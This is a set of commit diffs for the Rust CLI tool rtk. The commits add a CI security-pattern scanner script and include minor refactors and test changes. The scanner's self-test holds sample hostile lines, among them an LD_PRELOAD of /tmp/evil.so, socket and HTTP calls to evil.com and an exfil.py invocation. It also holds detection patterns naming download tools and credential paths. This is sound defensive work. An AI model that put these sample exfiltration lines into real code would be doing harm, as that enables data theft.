Compare commits
3
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7c15664ed4 | ||
|
|
ac0de43f2d | ||
|
|
e57967ddc6 |
No files matched your search
@@ -26,6 +26,18 @@ jobs:
|
||||
git fetch origin "${{ github.base_ref }}" --depth=1 || true
|
||||
bash scripts/check-test-presence.sh "origin/${{ github.base_ref }}"
|
||||
|
||||
check-security-patterns:
|
||||
name: security patterns
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 50
|
||||
- name: Check for dangerous patterns in new code
|
||||
run: |
|
||||
git fetch origin "${{ github.base_ref }}" --depth=1 || true
|
||||
bash scripts/check-security-patterns.sh "origin/${{ github.base_ref }}"
|
||||
|
||||
fmt:
|
||||
name: fmt
|
||||
runs-on: ubuntu-latest
|
||||
@@ -46,7 +58,7 @@ jobs:
|
||||
with:
|
||||
components: clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- run: cargo clippy --all-targets
|
||||
- run: cargo clippy --all-targets -- -D unsafe_code
|
||||
|
||||
# ─── Parallel gates (all need code to compile) ───
|
||||
|
||||
@@ -244,8 +256,9 @@ jobs:
|
||||
|
||||
IMPORTANT:
|
||||
- CI/CD changes, test-only changes, and refactors with no user-facing impact do NOT require doc updates.
|
||||
- In Rust projects, changes that only add or modify #[cfg(test)] blocks are test-only and do NOT require doc updates.
|
||||
- Be practical, not pedantic. Small obvious fixes don't need CHANGELOG entries.
|
||||
- Only flag missing docs when there is a clear user-facing change.
|
||||
- Only flag missing docs when there is a clear user-facing change (new command, new flag, behavior change visible to end users).
|
||||
EOF
|
||||
|
||||
# User prompt: concatenate files (no printf, no variable expansion issues)
|
||||
|
||||
@@ -22,7 +22,7 @@ To apply, you should have:
|
||||
|
||||
### ✍️ How to Apply
|
||||
|
||||
1. Open a discussion in [rtk-ai/rtk Maintainers Applications · Discussions · GitHub](https://github.com/rtk-ai/rtk/discussions/categories/maintainers-applications) titled **Maintainer Application: [Your GitHub Handle]**
|
||||
1. Open a discussion in [rtk-ai/rtk Maintainers Applications · Discussions · GitHub]() titled **Maintainer Application: [Your GitHub Handle]**
|
||||
2. In your application, include:
|
||||
- The ecosystem(s) you're interested in
|
||||
- Your experience with those ecosystems
|
||||
|
||||
Executable
+204
@@ -0,0 +1,204 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# check-security-patterns.sh — CI guard: new code must not introduce dangerous patterns
|
||||
#
|
||||
# Scans only ADDED lines in the diff — never flags pre-existing code.
|
||||
# This avoids false positives on runner.rs which already uses Command::new("sh") (issue #640).
|
||||
#
|
||||
# Usage:
|
||||
# bash scripts/check-security-patterns.sh [BASE_BRANCH]
|
||||
# bash scripts/check-security-patterns.sh --self-test
|
||||
#
|
||||
# BASE_BRANCH defaults to origin/develop
|
||||
|
||||
HARD_FAIL=0
|
||||
|
||||
if [ "${1:-}" = "--self-test" ]; then
|
||||
# Self-test: inject all known-bad patterns into a fake diff and verify each is detected
|
||||
TMPDIR_SELF=$(mktemp -d)
|
||||
trap 'rm -rf "$TMPDIR_SELF"' EXIT
|
||||
|
||||
FAKE_DIFF="$TMPDIR_SELF/fake.diff"
|
||||
cat > "$FAKE_DIFF" <<'DIFF'
|
||||
+ let output = Command::new("sh").args(["-c", cmd]).output()?;
|
||||
+ unsafe { std::ptr::null::<u8>(); }
|
||||
+ std::env::set_var("LD_PRELOAD", "/tmp/evil.so");
|
||||
+ let _s = TcpStream::connect("evil.com:443")?;
|
||||
+ let _r = reqwest::get("http://evil.com").await?;
|
||||
+ Command::new("python3").arg("exfil.py").output()?;
|
||||
DIFF
|
||||
|
||||
ADDED=$(grep '^+' "$FAKE_DIFF" | grep -v '^+++' || true)
|
||||
|
||||
PASS=1
|
||||
check() {
|
||||
local name="$1" pattern="$2"
|
||||
if echo "$ADDED" | grep -qE "$pattern"; then
|
||||
echo " ok $name"
|
||||
else
|
||||
echo " MISS $name — pattern not detected: $pattern"
|
||||
PASS=0
|
||||
fi
|
||||
}
|
||||
|
||||
check "shell execution" 'Command::new\("(sh|bash|cmd)"\)'
|
||||
check "unsafe block" 'unsafe\s*\{'
|
||||
check "LD_PRELOAD injection" '\.env\("LD_(PRELOAD|LIBRARY_PATH)"|\bLD_PRELOAD\b'
|
||||
check "raw socket" 'TcpStream::connect|UdpSocket::bind|TcpListener::bind'
|
||||
check "reqwest HTTP client" 'reqwest::'
|
||||
check "interpreter via Command" 'Command::new\("(curl|wget|python3?|node|perl|ruby|powershell|pwsh)"\)'
|
||||
|
||||
if [ "$PASS" -eq 1 ]; then
|
||||
echo "PASS: --self-test all 6 patterns detected correctly"
|
||||
exit 0
|
||||
else
|
||||
echo "FAIL: --self-test broken (see above)"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
BASE_BRANCH="${1:-origin/develop}"
|
||||
|
||||
# Extract only added lines from Rust source files (exclude diff header lines starting with +++)
|
||||
ADDED=$(git diff --unified=0 --diff-filter=AM --no-renames "$BASE_BRANCH"...HEAD \
|
||||
-- 'src/**/*.rs' 2>/dev/null \
|
||||
| grep '^+' | grep -v '^+++' || true)
|
||||
|
||||
if [ -z "$ADDED" ]; then
|
||||
echo "check-security-patterns: no Rust additions detected — OK"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "check-security-patterns: scanning new Rust lines for dangerous patterns..."
|
||||
echo ""
|
||||
|
||||
# ── HARD FAIL: shell execution ────────────────────────────────────────────────
|
||||
|
||||
NEW_SHELL=$(echo "$ADDED" | grep -E 'Command::new\("(sh|bash|cmd)"\)' || true)
|
||||
if [ -n "$NEW_SHELL" ]; then
|
||||
echo " FAIL New shell execution (sh/bash/cmd):"
|
||||
echo "$NEW_SHELL" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
echo " Known injection vector — see issue #640 (C-1)."
|
||||
echo " Use resolved_command() instead. Document rationale if intentional."
|
||||
HARD_FAIL=1
|
||||
fi
|
||||
|
||||
# ── HARD FAIL: unsafe blocks ──────────────────────────────────────────────────
|
||||
|
||||
NEW_UNSAFE=$(echo "$ADDED" | grep -E 'unsafe\s*\{' || true)
|
||||
if [ -n "$NEW_UNSAFE" ]; then
|
||||
echo " FAIL New unsafe block:"
|
||||
echo "$NEW_UNSAFE" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
echo " RTK currently has zero unsafe blocks. Any addition requires"
|
||||
echo " explicit maintainer review and strong justification."
|
||||
HARD_FAIL=1
|
||||
fi
|
||||
|
||||
# ── HARD FAIL: environment / linker injection ─────────────────────────────────
|
||||
|
||||
NEW_LD=$(echo "$ADDED" | grep -E '\.env\("LD_(PRELOAD|LIBRARY_PATH)"|\bLD_PRELOAD\b|\bLD_LIBRARY_PATH\b' || true)
|
||||
if [ -n "$NEW_LD" ]; then
|
||||
echo " FAIL Dynamic linker variable injection (LD_PRELOAD / LD_LIBRARY_PATH):"
|
||||
echo "$NEW_LD" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
echo " Preloading arbitrary .so files bypasses all runtime security controls."
|
||||
echo " No legitimate use case exists in a CLI filter proxy."
|
||||
HARD_FAIL=1
|
||||
fi
|
||||
|
||||
# ── HARD FAIL: raw network sockets ───────────────────────────────────────────
|
||||
|
||||
NEW_SOCKET=$(echo "$ADDED" | grep -E 'TcpStream::connect|UdpSocket::bind|TcpListener::bind' || true)
|
||||
if [ -n "$NEW_SOCKET" ]; then
|
||||
echo " FAIL Raw network socket detected:"
|
||||
echo "$NEW_SOCKET" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
echo " RTK does not open raw sockets. Network calls belong in telemetry.rs only."
|
||||
echo " Use the existing telemetry infrastructure or document the exception."
|
||||
HARD_FAIL=1
|
||||
fi
|
||||
|
||||
# ── HARD FAIL: reqwest HTTP client ───────────────────────────────────────────
|
||||
|
||||
NEW_REQWEST=$(echo "$ADDED" | grep -E 'reqwest::' || true)
|
||||
if [ -n "$NEW_REQWEST" ]; then
|
||||
echo " FAIL reqwest HTTP client usage:"
|
||||
echo "$NEW_REQWEST" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
echo " No reqwest usage exists in the codebase. HTTP calls must go through"
|
||||
echo " the existing telemetry infrastructure. Adding reqwest also pulls in"
|
||||
echo " an async runtime which breaks RTK's <10ms startup guarantee."
|
||||
HARD_FAIL=1
|
||||
fi
|
||||
|
||||
# ── HARD FAIL: interpreters / download tools via Command::new ─────────────────
|
||||
# Note: resolved_command("curl") is legitimate — this catches Command::new("curl") directly,
|
||||
# which bypasses the cross-platform path resolution wrapper.
|
||||
|
||||
NEW_INTERPRETER=$(echo "$ADDED" | grep -E 'Command::new\("(curl|wget|python3?|node|perl|ruby|powershell|pwsh)"\)' || true)
|
||||
if [ -n "$NEW_INTERPRETER" ]; then
|
||||
echo " FAIL Interpreter or download tool via Command::new():"
|
||||
echo "$NEW_INTERPRETER" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
echo " RTK filter modules use resolved_command(\"tool\") not Command::new(\"tool\")."
|
||||
echo " Direct Command::new with download tools is a common exfiltration vector."
|
||||
echo " If adding a new filter, use resolved_command() instead."
|
||||
HARD_FAIL=1
|
||||
fi
|
||||
|
||||
# ── WARN: .unwrap() outside lazy_static ──────────────────────────────────────
|
||||
|
||||
NEW_UNWRAP=$(echo "$ADDED" | grep -E '\.unwrap\(\)' | grep -v 'lazy_static\|#\[test\]\|#\[cfg(test)\]' || true)
|
||||
if [ -n "$NEW_UNWRAP" ]; then
|
||||
echo " WARN New .unwrap() calls (prefer .context()? — not blocking):"
|
||||
echo "$NEW_UNWRAP" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# ── WARN: file deletion ───────────────────────────────────────────────────────
|
||||
|
||||
NEW_REMOVE=$(echo "$ADDED" | grep -E 'remove_file|remove_dir_all' || true)
|
||||
if [ -n "$NEW_REMOVE" ]; then
|
||||
echo " WARN New file deletion (expected in hooks/init, surprising in a filter — not blocking):"
|
||||
echo "$NEW_REMOVE" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# ── WARN: writes to sensitive paths ──────────────────────────────────────────
|
||||
|
||||
NEW_SENSITIVE=$(echo "$ADDED" | grep -E '\.ssh/|/etc/|\.bashrc|\.zshrc|authorized_keys' || true)
|
||||
if [ -n "$NEW_SENSITIVE" ]; then
|
||||
echo " WARN Reference to sensitive system path in new code (not blocking):"
|
||||
echo "$NEW_SENSITIVE" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# ── WARN: PATH manipulation ───────────────────────────────────────────────────
|
||||
|
||||
NEW_PATH_MANIP=$(echo "$ADDED" | grep -E '\.env\("PATH"' || true)
|
||||
if [ -n "$NEW_PATH_MANIP" ]; then
|
||||
echo " WARN PATH environment variable manipulation (not blocking):"
|
||||
echo "$NEW_PATH_MANIP" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# ── WARN: println! in filter code ────────────────────────────────────────────
|
||||
|
||||
NEW_PRINTLN=$(echo "$ADDED" | grep -E 'println!' || true)
|
||||
if [ -n "$NEW_PRINTLN" ]; then
|
||||
echo " WARN New println! detected (verify it belongs in a filter output path — not blocking):"
|
||||
echo "$NEW_PRINTLN" | head -5 | sed 's/^/ /'
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# ── Verdict ───────────────────────────────────────────────────────────────────
|
||||
|
||||
if [ "$HARD_FAIL" -ne 0 ]; then
|
||||
echo "check-security-patterns: FAILED — dangerous patterns introduced. Fix before merging."
|
||||
exit 1
|
||||
else
|
||||
echo "check-security-patterns: no dangerous patterns detected — OK"
|
||||
fi
|
||||
@@ -268,15 +268,24 @@ mod tests {
|
||||
|
||||
#[test]
|
||||
fn test_compact_url_strips_protocol() {
|
||||
assert_eq!(compact_url("https://example.com/file.zip"), "example.com/file.zip");
|
||||
assert_eq!(compact_url("http://example.com/file.zip"), "example.com/file.zip");
|
||||
assert_eq!(
|
||||
compact_url("https://example.com/file.zip"),
|
||||
"example.com/file.zip"
|
||||
);
|
||||
assert_eq!(
|
||||
compact_url("http://example.com/file.zip"),
|
||||
"example.com/file.zip"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_compact_url_truncates_long_url() {
|
||||
let long = "https://example.com/very/long/path/that/exceeds/fifty/characters/file.zip";
|
||||
let result = compact_url(long);
|
||||
assert!(result.contains("..."), "Long URL should be truncated with ...");
|
||||
assert!(
|
||||
result.contains("..."),
|
||||
"Long URL should be truncated with ..."
|
||||
);
|
||||
assert!(result.len() < long.len());
|
||||
}
|
||||
|
||||
|
||||
+1
-3
@@ -3,7 +3,6 @@
|
||||
use crate::core::config;
|
||||
use crate::core::tracking;
|
||||
use crate::core::utils::{exit_code_from_output, exit_code_from_status, resolved_command};
|
||||
use std::process::Stdio;
|
||||
use anyhow::{Context, Result};
|
||||
use std::ffi::OsString;
|
||||
use std::process::Command;
|
||||
@@ -909,7 +908,6 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result<i3
|
||||
}
|
||||
|
||||
let output = build_commit_command(args, global_args)
|
||||
.stdin(Stdio::inherit())
|
||||
.output()
|
||||
.context("Failed to run git commit")?;
|
||||
|
||||
@@ -974,7 +972,7 @@ fn run_push(args: &[String], verbose: u8, global_args: &[String]) -> Result<i32>
|
||||
cmd.arg(arg);
|
||||
}
|
||||
|
||||
let output = cmd.stdin(Stdio::inherit()).output().context("Failed to run git push")?;
|
||||
let output = cmd.output().context("Failed to run git push")?;
|
||||
|
||||
let stderr = String::from_utf8_lossy(&output.stderr);
|
||||
let stdout = String::from_utf8_lossy(&output.stdout);
|
||||
|
||||
+2
-2
@@ -77,8 +77,8 @@ where
|
||||
// On failure, skip filtering and return early (e.g. psql error messages
|
||||
// containing '|' would be misinterpreted by the table parser)
|
||||
if opts.skip_filter_on_failure && exit_code != 0 {
|
||||
if !stderr.trim().is_empty() {
|
||||
eprintln!("{}", stderr.trim());
|
||||
if !stderr.is_empty() {
|
||||
eprint!("{}", stderr);
|
||||
}
|
||||
timer.track(
|
||||
&format!("{} {}", tool_name, args_display),
|
||||
|
||||
+49
-24
@@ -70,11 +70,11 @@ pub fn tokenize(input: &str) -> Vec<ParsedToken> {
|
||||
.is_some_and(|&nc| nc.is_ascii_alphabetic() || nc == '_')
|
||||
{
|
||||
let mut name = String::from("$");
|
||||
while let Some(&nc) = chars.peek() {
|
||||
if !nc.is_ascii_alphanumeric() && nc != '_' {
|
||||
break;
|
||||
}
|
||||
chars.next();
|
||||
while chars
|
||||
.peek()
|
||||
.is_some_and(|&nc| nc.is_ascii_alphanumeric() || nc == '_')
|
||||
{
|
||||
let nc = chars.next().unwrap();
|
||||
byte_pos += nc.len_utf8();
|
||||
name.push(nc);
|
||||
}
|
||||
@@ -107,8 +107,7 @@ pub fn tokenize(input: &str) -> Vec<ParsedToken> {
|
||||
let start = byte_pos;
|
||||
byte_pos += char_len;
|
||||
if chars.peek() == Some(&'|') {
|
||||
chars.next();
|
||||
byte_pos += 1;
|
||||
byte_pos += chars.next().unwrap().len_utf8();
|
||||
tokens.push(ParsedToken {
|
||||
kind: TokenKind::Operator,
|
||||
value: "||".into(),
|
||||
@@ -138,21 +137,18 @@ pub fn tokenize(input: &str) -> Vec<ParsedToken> {
|
||||
let start = byte_pos;
|
||||
byte_pos += char_len;
|
||||
if chars.peek() == Some(&'&') {
|
||||
chars.next();
|
||||
byte_pos += 1;
|
||||
byte_pos += chars.next().unwrap().len_utf8();
|
||||
tokens.push(ParsedToken {
|
||||
kind: TokenKind::Operator,
|
||||
value: "&&".into(),
|
||||
offset: start,
|
||||
});
|
||||
} else if chars.peek() == Some(&'>') {
|
||||
chars.next();
|
||||
byte_pos += 1;
|
||||
byte_pos += chars.next().unwrap().len_utf8();
|
||||
let mut val = String::from("&>");
|
||||
if chars.peek() == Some(&'>') {
|
||||
chars.next();
|
||||
byte_pos += 1;
|
||||
val.push('>');
|
||||
byte_pos += chars.next().unwrap().len_utf8();
|
||||
}
|
||||
tokens.push(ParsedToken {
|
||||
kind: TokenKind::Redirect,
|
||||
@@ -185,19 +181,17 @@ pub fn tokenize(input: &str) -> Vec<ParsedToken> {
|
||||
val.push('>');
|
||||
byte_pos += char_len;
|
||||
if chars.peek() == Some(&'>') {
|
||||
chars.next();
|
||||
byte_pos += 1;
|
||||
val.push('>');
|
||||
byte_pos += chars.next().unwrap().len_utf8();
|
||||
}
|
||||
if chars.peek() == Some(&'&') {
|
||||
chars.next();
|
||||
byte_pos += 1;
|
||||
val.push('&');
|
||||
while let Some(&nc) = chars.peek() {
|
||||
if !nc.is_ascii_digit() && nc != '-' {
|
||||
break;
|
||||
}
|
||||
chars.next();
|
||||
byte_pos += chars.next().unwrap().len_utf8();
|
||||
while chars
|
||||
.peek()
|
||||
.is_some_and(|&c| c.is_ascii_digit() || c == '-')
|
||||
{
|
||||
let nc = chars.next().unwrap();
|
||||
val.push(nc);
|
||||
byte_pos += nc.len_utf8();
|
||||
}
|
||||
@@ -215,9 +209,8 @@ pub fn tokenize(input: &str) -> Vec<ParsedToken> {
|
||||
let mut val = String::from("<");
|
||||
byte_pos += char_len;
|
||||
if chars.peek() == Some(&'<') {
|
||||
chars.next();
|
||||
byte_pos += 1;
|
||||
val.push('<');
|
||||
byte_pos += chars.next().unwrap().len_utf8();
|
||||
}
|
||||
tokens.push(ParsedToken {
|
||||
kind: TokenKind::Redirect,
|
||||
@@ -258,6 +251,18 @@ fn flush_arg(tokens: &mut Vec<ParsedToken>, current: &mut String, offset: usize)
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
pub fn strip_quotes(s: &str) -> String {
|
||||
let chars: Vec<char> = s.chars().collect();
|
||||
if chars.len() >= 2
|
||||
&& ((chars[0] == '"' && chars[chars.len() - 1] == '"')
|
||||
|| (chars[0] == '\'' && chars[chars.len() - 1] == '\''))
|
||||
{
|
||||
return chars[1..chars.len() - 1].iter().collect();
|
||||
}
|
||||
s.to_string()
|
||||
}
|
||||
|
||||
pub fn shell_split(input: &str) -> Vec<String> {
|
||||
let mut tokens = Vec::new();
|
||||
let mut current = String::new();
|
||||
@@ -855,6 +860,26 @@ mod tests {
|
||||
.any(|t| t.kind == TokenKind::Arg && t.value == "file"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_strip_quotes_double() {
|
||||
assert_eq!(strip_quotes("\"hello\""), "hello");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_strip_quotes_single() {
|
||||
assert_eq!(strip_quotes("'hello'"), "hello");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_strip_quotes_none() {
|
||||
assert_eq!(strip_quotes("hello"), "hello");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_strip_quotes_mismatched() {
|
||||
assert_eq!(strip_quotes("\"hello'"), "\"hello'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_shell_split_simple() {
|
||||
assert_eq!(
|
||||
|
||||
@@ -2370,33 +2370,4 @@ mod tests {
|
||||
Some("rtk wc src/*.rs".into())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_classify_command_substitution_passthrough() {
|
||||
assert_eq!(
|
||||
classify_command("git log $(git rev-parse HEAD~1)"),
|
||||
Classification::Supported {
|
||||
rtk_equivalent: "rtk git",
|
||||
category: "Git",
|
||||
estimated_savings_pct: 70.0,
|
||||
status: RtkStatus::Existing,
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_rewrite_command_substitution_passthrough() {
|
||||
assert_eq!(
|
||||
rewrite_command("git log $(git rev-parse HEAD~1)", &[]),
|
||||
Some("rtk git log $(git rev-parse HEAD~1)".into())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_split_command_substitution_no_split() {
|
||||
assert_eq!(
|
||||
split_command_chain("git log $(git rev-parse HEAD~1)"),
|
||||
vec!["git log $(git rev-parse HEAD~1)"]
|
||||
);
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user